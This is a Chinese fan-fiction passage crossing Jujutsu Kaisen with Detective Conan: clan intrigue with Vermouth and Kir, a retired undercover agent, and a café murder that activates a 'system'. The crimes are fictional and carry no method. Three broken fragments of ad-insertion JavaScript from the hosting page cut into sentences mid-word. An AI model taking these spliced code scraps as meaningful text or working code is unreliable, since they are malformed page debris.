《禅院慎一无话可说》 1. 密谋! 2007年7月。 京都,城郊。 此时正是夏初,夏日特有的蝉声在清晨便已经此起彼伏,在地势偏高处放眼望去,入目一片葱郁,呼吸间空气清新。 身为御三家之一的禅院家祖宅便坐落于此,这片颇有年代感的和式建筑群建在京都城郊,有着不小的占地面积。 在老宅外围,专门设有着咒术结界,以免去可能出现的纷扰和敌袭,也显出老牌家族的底蕴。 即便在咒术师眼中别有洞天,从普通人的视角看来,这里也不过是一片普通的树林而已。 庭院内的布局依旧遵循着传统的惯例,细节之处规制妥当,虽然略显压抑,却有着特有的和风美感,与自然景观相得益彰。 来往仆人们身着和式衣物,都沉默着做事,仅能听见木屐踩上走廊的木制地板的轻响,一眼看去,甚至给人一种尚在平安时代的错觉。 某庭院内。 一位身着浅色和服的黑发青年站在树下,他将衣袖挽起成方便行动的模样,手握木刀站得挺拔,专注于面前的训练桩。 青年身上的规整和服与黑色碎发看起来中规中矩,似乎颇为传统,但他的耳朵各有一个耳钉,反而显得有些不羁。 凑近了看,青年长相俊俏,最为出彩的便是那双眼角上挑的眼睛,睫毛下的眸子是琥珀色,配合高耸鼻梁犹如点睛之笔。 不过,不知为何,这双眼睛看人的时候,莫名有种居高临下的不屑,让人火大。 此人正是禅院直哉。 计划暑期在老宅度过的他,正在认真地进行每日的晨间练习,出手间动作凌厉,手中木刀招式咄咄逼人。 明明只是勉强能承载咒力的练习木刀,却在咒力的操纵下如真刀实枪般危险。 能看的出来,禅院直哉目前心情不佳,手中的招式也体现了这一点,比起技巧,更多的是发泄和杀意。 不过,虽然神色恹恹,他在练习上依旧一丝不苟,刀剑招式皆准确的完成。 庭院内来往的所有仆人都沉默着,只是低着头垂着眼,做着自己该做的事情,无人敢在少家主面前露出一丝放肆。 直哉少爷喜静这点,在禅院家的仆人这里已经成了不成文的规矩,一直被遵守着。 毕竟,没人想去承受喜怒无常又严苛狠辣的惩罚。 可今天却似乎有所不同,前院突然传来了些许喧闹声音,女人清脆的笑声由远及近,越发清晰,打破了安静的氛围。 从禅院直哉的院子向外看,能够看到通往正院,也就是家主所住之地的走廊,出现了一抹靓丽的金色。 有着金发大波浪的女人在仆人的引领下向前走着,她穿着一身精致昂贵的包臀裙,戴着墨镜,美的格外张扬。 即使在这般压抑的氛围中,也没有被遮掩住任何风采,在她的身后跟着位长相同样漂亮,身着西服的黑发女人,表情颇有些无奈。 此时的禅院直哉刚好结束了今天的晨练,他收起手中木刀,颇有些不爽的望去,想要看看是谁敢这么吵闹。 黑发青年本有些兴致缺缺,却在看清来人的面貌后呼吸乱了些许,表情也嫌恶起来。 金发女人似乎察觉到了来自这里的视线,但不以为意,甚至还笑着向这边撩了撩头发。 禅院直哉在看清女人的动作后,便意识到她大概率是有意为之,他握着木刀刀柄的手收紧,死死的盯着对方。 一旁捧着毛巾候命的仆人并没有注意到禅院直哉的异样,他有些好奇的抬眼偷看,确定女人是被引向正院后感到诧异。 还是第一次见到敢在禅院家这样行事的女人……看方向是前往正院,大概是要去见家主大人了,难道是有什么事情要办? 虽然,看着两位女性各有风味的精致外貌上,最有可能的情况是…… 毕竟即使是女明星或外国人什么的,对于禅院家主这种地位的人也不算稀奇,甚至称得上唾手可得。 但一般来说,还是本家和旁支这样有咒术师血统的女人更适合来繁育后代一些,大多相貌不差,也是最为稳妥的选择。 毕竟后代的天赋才是最重要的,有天赋的子嗣才有着被尊敬和获得资源多可能,至少在禅院家,古往今来都是如此。 不过,近期正院那边的女人似乎换的有些频繁了,据说是…… “……贱人。” 仆人还在想着其他的可能,却突然听见面前的直哉少爷咒骂出声,察觉到怨毒的注视后,他一惊,咽了口口水,头垂的更深。 禅院直哉见仆人的反应便能猜到仆人在推测什么——毕竟情人之流在禅院家很正常,可意识到这一点只会让禅院直哉更加愤怒。 仿佛不够过瘾似的,禅院直哉又狠狠的咒骂了几声,原本已经做完晨练的他再次挥起了手中的刀剑,力道比之前大上更多。 “贱人……”再次劈下手中的木刀,禅院直哉俊俏的面孔扭曲,如同劈砍着仇人般重击着面前的训练桩,发泄着自己的情绪: “贱人!贱人!” 同仆人的猜测一样,禅院直哉知道她是来做什么的,大概还是恶心献媚之流,低贱讨好中包裹着祸心——他笃信于这一点。 在禅院直哉看来,混杂着肮脏血脉的同族之间的尔虞我诈已经足够令人厌烦,对外人的掺和只会更加讨厌。 毕竟身为下一任家主继承人,有这么多要掌控的事物,有这么多要处理的垃圾。 为什么这些低贱杂种就不能认清自己的身份呢?! 禅院直哉烦躁的摩挲着手中的剑柄,心中的莫名预感却越发鲜明,鲜明到刺痛,鲜明到心烦意乱,鲜明到怒火中烧。 父亲的态度似乎有了变化,难道是自己做的不够好,还是纯粹要处理的事物过多,又或者是哪个贱人又嚼了舌根? 但凭什么?又不是谁都配……杂屑的上窜下跳只会徒增笑柄,毕竟三六九等早就在娘胎中就注定,世间皆是有眼无珠的蠢货,真正的明珠才不会蒙尘…… 甚尔也是,悟君也是。 ……那个人也是。 禅院直哉下意识将手中刀柄握的更紧。 可这个女人到底是来干什么的呢?以那家伙的性格,怎么会允许自己的女人到禅院家来?甚至是来找父亲…… “……贱人。”禅院直哉喃喃自语。 无论如何,都是她的错……这个恶心的!不守妇道的!随随便便什么人都胡乱勾搭的贱女人!她怎么敢! 咒具木刀在他有些失控的咒力灌输下,直接削断了面前的木柱,木柱掉落在地上发出沉闷声响,激起一片碎木屑。 深知何为明哲保身的仆人依旧保持着沉默,听见这样一声声的咒骂之后,低下头努力降低自己的存在感。 毕竟,这才是这里的生存之道。 —————— 正院内。 如同整体禅院家的庭院布局一样,正院里的和风内饰同样传统古朴,只不过看起来更为厚重一些,彰显家主的身份。 京都气候特有的观赏性名贵树木在这里随处可见,能看出来被打理的很好,随着晨间清风的吹拂,树叶相击响起沙沙声响。 走进室内便能闻见浓厚的熏香味道,比起外面清晨的清爽明亮, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 室内要昏暗许多,萎靡之感越发明显。 两位身穿现代装束的女性在这样的环境里显得格格不入,但气势上不输什么,即使看到面前的人正在寻欢作乐也表情不变。 黑发女性保持着沉默,金发女性则已经欣赏起自己涂抹相当漂亮的指甲,嫣红色的美甲即便在昏暗环境中也微微反光。 原本正在和女仆寻欢作乐的中年男性见对方到来后挥挥手,让身旁的女人退下,随意的整理了下自己身上的和服。 “禅院家主真是好雅兴,我们两个倒是来的有些不巧呢。”待女仆退下,整个室内也收拾出了可以谈话的空间后,金发女人才缓缓开口。 “哪里哪里,是我交代不周了。”禅院直毘人大笑着放下手中酒葫芦,一旁的仆人已经拿出了榻榻米,招待两位女性坐下。 金发女性有些嫌弃的瞥了一眼榻榻米,却没有出言挑剔什么,她优雅坐下。 “贝尔摩德小姐,您身边这位是?”禅院直毘人看向一直保持沉默的黑发女性,出声询问道。 “基尔,我的副手。”贝尔摩德保持着得体的笑容,但笑意并不及眼底:“今日来意想必家主大人早便知晓,我就不兜圈子了。” “哈哈,是啊,我们这边该准备的早就准备好了。”禅院直毘人笑着附和,神色期待:“那么,之前说好的东西带来了吗?” 贝尔摩德向后伸手,基尔会意,从口袋里掏出一个黑色丝绒的小盒子放在她手中。 贝尔摩德刚将盒子刚放在茶几上,禅院直毘人便迫不及待拿起盒子打开,确认无误后,他露出了满意的神色。 “不错,不错,不愧是组织……果然手段了得,如此合作实在愉快。”禅院直毘人大笑,收起盒子,夸赞道。 “无妨,毕竟是咒术界的宝物,与其珠玉蒙尘,不如放在禅院家来发挥最大的效益。”贝尔摩德自然的收下称赞: “那么,之前要求的情报呢?” “星浆体的时间确实如您那边带来的消息一般,推迟了一年,大概在半个月后天元大人便会进行同化仪式。” “不过没有关系,不会干扰到组织的行动,至于同化这件事情,顺其自然即可。”禅院直昆人摸着胡子缓缓说道。 “毕竟更换成功与否,和那个小姑娘没有什么关系。”语气自然的说出绝密消息的禅院直昆人神色如常: “至于确切的人选,我们心中已经有结果了,不过这算是禅院家的家事,就不多透漏了,望这边能理解。” “这样就好。”贝尔摩德笑着答道。 禅院直昆人拍拍手,一直在隔间候命的仆人递出早就准备好的纸质材料,贝尔摩德接过后简单扫了一眼,勾起了红唇。 “不错,不愧是御三家,消息实在灵通。”贝尔摩德将资料递给基尔:“那么希望禅院家能够履行承诺,不要让彼此失望才是。” “哈哈,哪里哪里,合作愉快。” 谈完要事之后室内气氛不再如之前般紧张,贝尔摩德并没有着急着离开,而是撩了撩自己的发尾: “除了合作的事情外,我倒是有些私人的问题要问一问禅院家主呢。” 禅院直昆人面色不变:“请讲。” “一个星期前,组织叛逃了一位拥有代号的干部,代号是迈尔特。”贝尔摩德的发音低沉温柔,却无端危险: “也巧,那家伙正是我的搭档,不仅如此,在几日前查明,那家伙的真名为禅院慎一。” 这位金发尤物撩动耳侧发丝,笑容越发甜美,而恶意也随之溢出: “禅院家,还真是盛产天予束缚呢。” 2. 退休。 在贝尔摩德说出这句半是调侃半是玩笑的话后,禅院直昆人脸色难看起来。 能感受到禅院直昆人的不快,但贝尔摩德并不在乎,她表情轻松的等待回答,自然的无视了屋内落针可闻般的寂静。 坐她身边的基尔克制住了摸向腰边枪的欲望,继续低眉顺眼的看着面前木板上的花纹,选择降低存在感。 好在禅院直昆人并没有翻脸的想法,中年男人晃了晃手中的酒壶,故作讶异的反问:“居然是那家伙吗。” “实不相瞒,那家伙本就是被放逐之人,已经逃离家族很长时间了,至于贝尔摩德小姐所提之事,这边确实不知情。” “没有必要因为这点小事干扰我们的合作,禅院慎一此人,不过没有血缘关系的贱种罢了,若能抓到,那随您那边处置。” “这就好,能看出来双方态度是高度统一的。”贝尔摩德起身:“放心,那件事情我们都会得到满意的结果的。” 好像突然想到了什么,这位金发美人笑眯眯的询问:“恰巧今日无事,是否能参观一下禅院家宅的内景?” 基尔并没有招惹是非的欲望,听闻贝尔摩德的要求后看了她一眼,见其心情不错的样子,没有选择多嘴。 “当然,随意就好。”禅院直昆人并没有拒绝的理由,爽快的同意了。 望着贝尔摩德和基尔离去的身影,禅院直昆人拿起桌子酒壶,直到壶内酒液饮尽,神色阴郁的他起身走入室内。 另一边。 直到在仆人的引导下走上走廊,基尔这才轻声询问:“还有事情没有处理吗?” 意识到贝尔摩德并没有像往常一样爽快回答,基尔面上表情不变,心中更加警醒,好奇的同时,谨慎保持着沉默。 贝尔摩德见基尔低眉顺眼的样子,并没有生气,反而笑出了声:“呵,不用这么拘谨吧,我可不吃人呢。” “……是。” 贝尔摩德漫不经心的说道:“不过那家伙可是害的我近期要被琴酒那家伙多次威胁试探呢,所以来问一下喽。” “不过,今日之行这倒是印证了我的某些想法。”贝尔摩德再次戴上墨镜,她点了根烟,烟雾缭绕在她葱白指尖。 毕竟,透过路上仆人的态度,贝尔摩德轻而易举的便猜到对方大概在想什么——例如“情人”之类的,还有她和家主关系的猜想。 美貌的女人总会经历这些,她早懒得拆穿,也不介意观察时态会如何发展,所以没说什么——毕竟组织的事务为重。 “而且,那边可是有个小少爷对我虎视眈眈呢。”似乎是想到了什么有意思的事情,贝尔摩德轻笑:“见一见又如何。” 基尔无法,只能点头跟上。 不过,她也确实很好奇,刚刚感受到的阴毒视线到底来自何处。 两人交谈之际,引路的仆人眼观鼻鼻观心,毕恭毕敬的等候着贵客下令。 “那边是哪位的院子?”贝尔摩德问。 仆人踌躇片刻,最后还是低声回答道: “前面是直哉少爷的院子。” —————— 换下练习用的训练桩后,仆人默默的退到一旁,只可惜没撑多久,这个训练桩同样在攻击下化为碎屑。 已经是被砍碎的第六根训练桩了。 甚至不能称得上是咒具的练习木刀都能发挥出这样的威力,除去技巧外,不难想象到执刀者的心情有多差。 余光瞥见禅院直哉小臂上爆出的青筋后,仆人连呼吸都小心翼翼起来。 是因为刚才见到的那个女人吗? 直哉少爷这么愤怒,难道是因为被背叛了吗,那么就是……家主挖了少爷的墙角了? 毕竟,禅院家在男女之事向来混乱,在依旧保持着一妻多妾的封建习俗,发生这种事情并不罕见,甚至不足为奇。 那这样愤怒也算正常……仆人正胡思乱想着,却再次听见了女人的笑声,他抬眼望去,发现是之前的那位金发女人。 在仆人的引领下,这位金发丽人不知何时走进了院内,仿佛没有察觉到禅院直哉厌恶的目光,她双臂环胸。 仆人感受到自家少家主的低气压,一时间不敢再看,将头低得更深。 同样保持沉默的还有基尔,收起了自己的多余好奇心后,她安静的站在一旁等候着。 一时间只有风拂过树叶的轻响,祥和的环境却越发衬出两位当事人之间的暗潮涌动,甚至称得上恐怖。 根本不在意,或者说无视了身边人各异的反应,贝尔摩德笑着摘下墨镜,她红唇勾起,挑衅的看着面前的黑发青年: “哟,这不是上次酒吧的那个小哥吗?” 贝尔摩德在禅院直哉警惕嫌恶的注视下依旧自如,甚至看清他眼中的敌意后,笑意更深。 毕竟,能看到某人的乐子,实在是难得。 “能够再次见面,真是有缘。” 仿佛完全看不见面前人的排斥,这位金发丽人笑靥如花,一字一顿的说道: “真没想到,居然是禅院家的少爷啊。” —————— 比起禅院家各路人马之间的剑拔弩张,众人话题的中心人物这边却相当的宁静祥和,甚至称得上惬意。 上午的酒吧相当安静,屋内唯一的光源是透过半遮半掩窗帘的阳光,刚被保洁清理干净的场地只有两个男人坐在靠窗的桌边吞云吐雾。 烟雾缭绕间两人随意的拍出手中扑克,卡片拍在大理石台面上的声音格外清脆。 桌子上盛满了烟蒂的烟灰缸尚且冒着些许白烟,两种不同牌子的烟盒与扑克牌堆在一起,显得乱糟糟的。 在杂乱的桌面上,最引人注目的是一叠银行卡,光滑的PVC塑料材质反射着窗外晨间的朝阳,泛着细碎的金光。 比起穿着黑色职业西装的男人,更高壮的那位很明显心不在焉,他叼着烟,右手灵活的把玩着手中的扑克牌,时不时甩出一张。 男人虎背蜂腰,穿着白色T衫和黑色长裤,蜜色皮肤下肌肉饱满,光看着便能想象到其身躯中所蕴含的恐怖爆发力。 美中不足的是,男人左臂胳膊肘下空荡荡的,常人左小臂所在的地方空空如也,横截面称得上光滑。 没错,他是个残疾人,且左小臂已截肢。 但身体残疾并不损他的气场,他只是坐在这里便比绝大部分人更引人注目,不仅仅是因为其优越的外貌,更多的是—— 威胁。 他那如同沉睡虎豹般的气场,不需要任何额外的动作,便能够使人本能的感到恐惧。 此人正是禅院慎一。 能看出来,坐在禅院慎一对面的西装男人其实并没有他表现出来的这般轻松,他时不时瞥一眼黑发男人,似乎在思考着什么。 很快,游戏便分出了胜负。禅院慎一吐了口烟,随意的扔出手中最后一张牌,无声宣告这场小消遣的胜利。 不过游戏并没有押注,进行游戏的两人也没有赌博的习惯,所以输赢其实不重要,游戏的输方不需要此付出什么。 孔时雨,也就是穿着黑色西装的男人,这位专业行走在灰色地带的中间人沉默着吸了口烟,在思考如何组织接下来的语言。 而禅院慎一则悠闲的多,他取下口中的烟蒂在烟灰缸里摁了摁,然后从烟盒中取出新的一根点燃,深吸一口后眯眼。 “你知道很多人都在找你吧?” “嗯。”黑发男人懒懒应声。 孔时雨一噎,原本组织好的话没说出口。 这一声干脆利落的嗯对孔时雨来说实在是意料之外情理之中,成功的硬控了他两秒。 毕竟这副死猪不怕开水烫的样子跟他表兄真的是一模一样,熟悉但实在让人牙痒痒。 孔时雨在心中腹诽,想拍屁股走人的心达到了巅峰,好在理智还是让他坐稳座位,并将早就准备好的身份证明放在桌上。 但语言中难免露出些许情绪,转化成隐晦的不满: “也就是说,我向那些对你感兴趣的人卖情报可比给你洗钱赚的多的多。” 禅院慎一知道面前人其实只是在发牢骚,毕竟桌子上一整叠银行卡就是证明——这些正是一周前自己拜托对方洗的资金。 所以他点了点头,并没有在意对方的小情绪,看了两眼身份证明后收好,示意对方接着说。 要不是打不过也确实跑不了,而且对方确实有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着值得精心维持关系的实力,孔时雨绝对不会接下这一单。 天知道他在这一周内到底应付了多少势力的试探,要不是禅院慎一自己就会跑路,而且极其配合,且反侦查能力拉满,各种牛鬼蛇神早就找上门了。 但处理干净所有痕迹让禅院慎一消失在各界视野里实在是一件难事,毕竟他的身份和他过往做的事情都太特殊。 谁能想到咒术界御三家的旁支会跑到国际犯罪组织里面为警方当卧底呢?面前人就这样做了,而且几乎全身而退。 若不是对方受善心驱使,或者说在所谓警方正义感的影响下选择徒手接炸弹当保护普通民众,现在大概还在各大势力中左右逢源。 真奇葩。 ……也确实称得上不错。 想到这里孔时雨叹气,没有再绕弯子,直接从胸前口袋中掏出手机扔到对面人怀里。 “别的我都能糊弄过去,但你表兄找你我确实应付不了。”孔时雨抬抬下巴示意对方接听,皱起眉烦躁点烟。 禅院慎一拿起一看,发现手机正在通话状态,应该是听完了两人对话的全程,屏幕显示的备注是禅院甚尔。 是他血缘上的亲表哥。 “身体怎么样,死不了吧?”电话那边的信号不算好,禅院甚尔的声音有些失真,但语气依旧是平日的那股调调。 “死不了。”禅院慎一答,主动提及了对方这通电话的目的:“钱会让孔时雨带给你的,不够的话再跟我说。” 听着禅院慎一的话,孔时雨相当配合的把桌子上的一叠银行卡码开,分别说明每张卡对应的资金来源和金额。 毕竟对某人来说,这完全称不上对隐私的冒犯,反而算得上省事,更何况之前都是这样处理资产的,禅院甚尔要钱也不是一回两回。 不得不说,这一沓银行卡里的钱真不算少,公安那边的正经收入,卧底组织的灰色收入,还有其他七八糟的收入。 除了这家伙亲口确认的退休金外,甚至还有爆炸事故的见义勇为奖金……数到这里,孔时雨嘴角一抽。 禅院慎一跟禅院甚尔有一搭没一搭的聊了下近况,和往常一样委托孔时雨直接把自己资产的一半划给禅院甚尔。 “小惠今年上小学吧,学校有选好吗?”禅院慎一把桌子上剩下的那半叠银行卡装入口袋,随口问道。 “应该跟他姐姐上一个学校,别的不太清楚。”禅院甚尔很明显不太多谈,能听出来最近大概没怎么关注儿子的事: “关心的话,等你安顿下来大可以把他接过去,反正我最近也没空回去。” “那应该就要过几天了。”禅院慎一应下:“等我先在附近找个房子吧,盘个店面也行。” 两个人都不是话多的性子,并没有聊很久便挂了电话。至于孔时雨在电话里开始谈家事时便相当自觉的起身走到吧台那边给自己倒了杯水。 “一起吃午饭吗?”禅院慎一把手机抛给孔时雨,随口邀请道。 “不了,我中午有约。”孔时雨接住手机看了眼时间,没好气的回绝了:“而且你表哥那边催的挺急的,我得赶紧把钱给他送过去。” 禅院慎一倒也没有多真诚的在邀请,更多是客气话,被拒绝了也在意料之内,走出酒吧后目送对方消失在东京午时拥挤的人流。 所以中午去哪里吃好呢? 还有,今天晚上在哪里安顿也是一个问题。 已经挺久没有这么清闲了,残疾后公安那边爽快放人,组织那边金蝉脱壳撇清关系,新的身份证明到手,现在已经是一个很清白的人了。 手里的钱尚且还算富裕,全款买房并不是问题,不过总得找点事做,不过刚刚退休并不想找工作…… 很明显,这位目前完全没有人生计划的前卧底先生暂时还没想好去哪进行这一餐。在思考出结果前,他随便找了个方向走。 禅院慎一穿着常服,自然的融入东京街头的夏日,黑发男人余光撇过酒吧门口的路牌,这片街区的官方欢迎语和下面的小字备注便映入眼帘—— 欢迎来到米花町,祝您生活愉快。 (温馨提示:警察局前方街口左转600米,珍爱生命,远离犯罪!) 3. 系统! 关于米花町高频到有些异常的犯罪率,其实禅院慎一早有耳闻。 他关系很好的警校同学之一,在半年前分到了这个街区工作,在那之后几人聚餐时便时常会听见他的吐槽。 那家伙是个相当温柔的人,连他都忍不住吐槽就意味着案件确实很多。据说经统计米花町的犯罪率一直在同体量街区中保持第一。 但对于这件事,禅院慎一并没有太放在心上,毕竟只是略比其他地方的凶杀案件要多一些而已,这种地方其实也是存在的,而且不少。 从科学的角度来说,有可能只是凑巧概率较高,或者说这里房子的户型不佳,又或者当地产业分布特殊,因而容易诱发凶杀案。 若是从迷信角度讨论,则大概率要归类于风水问题,可以用咒术界的相关知识解释,十有八九是因为诅咒比较多。 因为很多地方前身是墓地或战场,所以残留的诅咒与戾气就会多些,发生凶杀案件的概率自然会更高。 但禅院慎一是天予束缚看不见诅咒,也的确脱离咒术界很多年,他一向的态度都是看不见就当不存在,反正会有专业的人去处理。 毕竟摸着良心说,他平日里已经够忙了,更何况咒术界高层又不待见他这种体质,没必要上赶着找不愉快。 现在正是夏天最炎热的时候,路上行人脚步匆匆,从衣着上看有不少上班族和学生,不少都打着遮阳伞以遮挡毒辣的阳光。 禅院慎一的外貌条件实在出挑,左小臂又空空荡荡,难免引来不少窥探的目光,不过他早就习惯被注视,并没有受到影响。 微风拂过树叶发出些许沙沙声,蝉鸣越发紧促,站在树下思考去哪里吃午饭的禅院慎一眯眼,决定过会去买个墨镜。 黑发男人顺着街道慢悠悠的向前走,凭借着良好视力看清前方咖啡厅门口立着的广告牌,上面手写着超值折扣的宣传语。 禅院慎一看清后发现确实是超值折扣。 这种折扣力度很难不让人去想会不会赔钱,一般办这种活动的应该都是想着赶紧清空仓库后转让店铺的商家。 禅院慎一推测的没错,走近后发现落地窗上果然贴着几张写有转让电话的纸张,纸张微卷而非崭新,大概已经转让一段时间了。 话说这个街区的人流量并不算小,完全称得上相对繁华的街区了,在这样的好地段,居然会经营不善吗? 有些好奇的禅院慎一推开门,门旁的风铃发出声响,一进门,咖啡的香气涌入鼻翼。 店面不算大,装修倒是不错,放在角落的收音机播放着音调舒缓的英文歌曲,人比预想中更多,看样子折扣引来不少客人。 禅院慎一走到角落的空桌坐下,拿起菜单向服务员点了一份简单的双人午餐,顺带额外加了份意面。 餐上的很快,不过女服务员的表情很差,漂亮的脸上死气沉沉,她步履匆匆,摆盘有些潦草,还差点弄翻咖啡。 禅院慎一倒是不介意这个,开始专心享用午餐,几口吃下一个三明治后黑发男人端起咖啡杯,看向窗外的街景。 虽然食物味道一般,但咖啡倒还不错。 话说其实也可以开一家店,然后在店面附近找一套房子,日后的生活应该以安稳为主,稳定的店面会让生活更规律些。 禅院慎一朝咖啡里扔了几颗方糖搅拌搅拌,随意的思考日后的安排。 毕竟也到该履行承诺的时候了,那么房子就要选那种卧室多点的,毕竟住的人多。 除了那两个孩子外,如果自家表哥真的铁了心要把惠扔过来,那就是三个小孩——如果算上甚尔再婚妻子带来的女儿,就是四个。 ……嗯?杀气? 第一时间察觉不对劲的禅院慎一抬眼,视野中一瞬寒光闪过,他本打算起身制服暴徒,却在看清受害者的铁青脸色后选择坐稳座位。 ……毕竟已经没救了。 刀尖刺入人体发出沉闷的噗嗤声,被害者极速失去生命特征,失去控制的身体无力栽下座位,发出重物落地的声音。 早知道不选角落坐了,有人持刀伤人都没几个人注意到,禅院慎一冷漠的想。他拿起叉子卷了口意面,决定赶紧把午饭吃完。 毕竟过会儿有的要忙。 刚走到受害者桌旁低着头的女服务员将喝完的咖啡杯收回餐盘,或许是太累,她只是机械的完成工作,抬头才发现座位上空无一人。 她后知后觉的意识到身旁客人莫名倒地,直到血液浸润尸体的布料溢向地板,即将舔舐她的鞋尖,女服务员才找回自己的声音。 年轻女子手中餐盘滑落掉在地,发出金属受击时特有的震荡声,但持有者已经无暇顾及。 “呀——死人啦——” 下一秒服务员的尖叫撕破咖啡厅内悠闲的气氛,整个餐厅沉默十几秒来消化这个消息,一时间仅余收音机中女歌手的低声吟唱。 待食客们反应过来,部分大胆的好事者探头看向这边零散传递出尸体的信息,咖啡厅中气氛才如同达到百度的沸水般沸腾起来。 禅院慎一并没有被混乱影响,而是坐在十分钟前自己亲自选择的黄金嫌疑人位置上,继续享用着午饭。 黑发男人又喝了一口咖啡,刚融化的糖浆顺着舌尖滑入喉道向感官传递着甜味,使得他有些满意的舔了舔嘴角。 倒不是他见死不救。 而是凶手早有预谋。目前来看凶手甚至不止一个,多种因素导致被害者今日不得不死,在禅院慎一来到餐厅前,死者的命运就已注定。 毒杀加刀伤,带着烈性毒的咖啡早已被死者一饮而尽,后续的刀具也精准的捅入了他心脏,这种情况神仙来了也救不了,实在没必要起来招眼。 倒霉啊。 出来吃个饭还能碰到凶杀案,自己还离尸体这么近,过会免不了还要应付一番,大概率还会被列为嫌疑人之一。 最倒霉的是,在进门的第一时间,敏锐的观察力便让禅院慎一注意到一件事: 这家咖啡厅没有监控。 真倒霉啊。 禅院慎一在心里叹气。 算了,别想了,反正也不管他的事,还是趁着警察来之前多吃两口午饭吧。 —————— “凶手绝对是这家伙!” 禅院慎一坐在座位上,看着出声指认自己的中年男性,少见的有些想伸出手按按自己的太阳穴。 总之,事情好像朝着最麻烦的方向发展了。 面前正指认禅院慎一的是咖啡厅楼上事务所的侦探,对方的推理水平有点差劲,行事也相当冲动,仅凭不足的线索就爽快的指认了禅院慎一。 面对中年男人的指控,禅院慎一不慌不忙的咽下最后一口意面后出声为自己辩解:“人不是我杀的。” 禅院慎一有些无奈道:“比起怀疑我,嫌疑更大的明明是后厨的厨师,和死者身后桌的客人,刀具上的指纹可以撇清我的嫌疑。” 不过,在众人的观感中,这位黑发男人并不像他发言的这般无害,被盘问也不慌不忙,相当自然的稳坐在椅子上。 虽然是残疾人,但不知道为什么格外的有压迫感,体脂率极低的健壮身躯让人在视觉上本能的感受到威胁。 “那也好好听人说话啊,你这家伙。”穿着蓝色西装,留着小胡子的男人看了一眼隔壁桌尚在昏迷的客人,中气十足道: “你在胡说吧,这家伙都已经昏迷了啊,怎么可能是他做的案,总不能这家伙晕血。” 禅院慎一瞥了眼刚才还在持刀行凶,现在莫名其妙昏迷的不省人事的凶手,一时间竟无言以对。 有没有可能这家伙还真晕血呢? 在两人争辩的同时,一位穿着棕色风衣的胖警官带着两名助手从人群中挤出。 “毛利老弟,现在的情况如何?” 胖警官,也就是目暮十三,熟练的出示自己的警官证后出声询问,而助手们也默契的开始疏散群众,维护第一现场。 “目暮警官!嫌犯就是这小子。”毛利小五郎指了指禅院慎一,语气严肃:“在角落里有机会作案的,除了这小子外,只有服务生和旁边那桌昏迷的客人。” “这小子虽然残疾,但身高体壮,一看就久经锻炼,绝对是个练家子,你看!死者伤口是被刀具精准捅进心脏的。” “是这样吗?”目暮警官倒是冷静的多,语气礼貌的向禅院慎一询问道:“客人,你目击到了现场吗,能否描述一下。” “确实不是我动的手。”禅院慎一叹气,认命的开始解释对面的作案手法: “如果现在把死者翻过来检查下口腔,没猜错的话,他的舌苔大概率青色的。” “死者是死于毒杀,而不是刀伤,我这边也确实没有刀,刀柄上的指纹不是我的。” “这样吗?那先拍摄几张照片保留一下现场现状,再带回去尸检……”目暮警官还没说完,毛利小五郎便大声道: “反正这家伙绝对脱不了干系,不然他怎么会对死亡过程了解的这么清楚?” 正当讨论一片混乱时,门口突然传来了清朗的少年声音,仅一句话为禅院慎一解了围: “不一定非要杀人才能了解作案手法啊。” 来者语调上扬,懒洋洋的否认了毛利小五郎的推理:“这位大哥确实不是凶手哦,毛利大叔你也太心急啦。” 围在尸体旁的众人下意识向门口看去,在众人的注视下,身穿蓝色校服的少年少女并肩走进咖啡馆。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “哇,是工藤新一!”部分围观群众已经认出了来者的身份,发出小声惊呼:“那位名侦探高中生诶!” 出声的是位少年,他气定神闲的走到目暮警官身边,随手把手提书包放在吧台上后,相当自然的蹲下观察尸体。 【滴滴!】 “太好了,是工藤同学啊。”目暮警官见来者是工藤新一,相当高兴的招呼道:“你怎么在这?” “刚放学啦,本来打算来事务所楼下的咖啡厅解决午饭,却发现聚了很多人。”工藤新一回答道:“果然是发生了凶杀案。” 目暮警官与工藤新一相当熟悉的寒暄着,而在校服少年的身影映入视野中的一瞬间,禅院慎一的脑内再次出现了一道机械音。 【滴滴!】 来者中的另一位,那穿着校服的少女,也就是毛利兰,乖巧的走到毛利小五郎的身边,有些担忧的打量了下父亲,确定没事后松了口气。 【滴滴!滴滴!】 ……连续多次的滴滴声不是幻觉。 禅院慎一面上表情不变,握住咖啡杯的手指却微微收紧,黑发男人瞳孔微缩,下意识环视咖啡厅,却没有察觉到异样,众人也都面色如常。 看样子,这个声音似乎只有他能听得见。 随着滴滴声频率越来越高,禅院慎一脑内的声音也越发的清晰—— 【滴滴!您现已遇见本世界的所有世界之子,且世界影响力达到20%,达到系统激活要求,成功激活系统!恭喜您!】 【滴滴!系统基础页面加载中——人物关系加载中——势力地图加载中——成就系统加载中——感谢您的使用,请耐心等待——】 【滴滴!加载完毕!】 所以说,这是什么东西?禅院慎一有些头疼的想,毕竟仔细思考的话太多问题需要确认了—— 系统?基础页面?世界之子?所有?世界影响力20%?人物关系?势力地图?成就?已触发的成就?邮箱? 如果这些话是真的,其中蕴含的信息量所代表的含义到甚至足以改变人的认知——乃至于对世界的认知—— 即使禅院慎一绝对称得上见多识广,一时间也难免瞳孔地震。 【滴滴!信息整合中——】 禅院慎一皱眉,仔细聆听脑内的声音,试图分析目前的情况,却在听清之后的系统通知时嘴角微抽。 【滴滴!检测到您之前已经达成: 【嘿,爆金币!】 【人呢?】 【他人挚爱】 【圣人·初级】 【跳槽天王】 【宿敌就是宿敌啊】 【正义的伙伴】 【哇,真的是你呀】 【凶案路人甲】……等成就,请前往邮箱查收!】 禅院慎一:“……” 这些成就是不是有点太无厘头了。 这都什么东西啊。 在这充满槽点的高强度信息量涌入脑中的同时,已经观察完尸体的工藤新一伸出手,指向了这场凶杀案的嫌疑犯之一。 也就是尚且还在消化这些信息的禅院慎一。 这位被系统认定的,所谓的世界之子信誓旦旦的说出自己的推理结果,大声向众人宣告禅院慎一的清白: “总之,凶手绝对不会是这位先生。” 一旁的毛利小五郎双手插兜,见工藤新一推翻了自己的结论,有些不爽的问:“哈?你这小子不要捣乱,这么说有什么证据吗?” 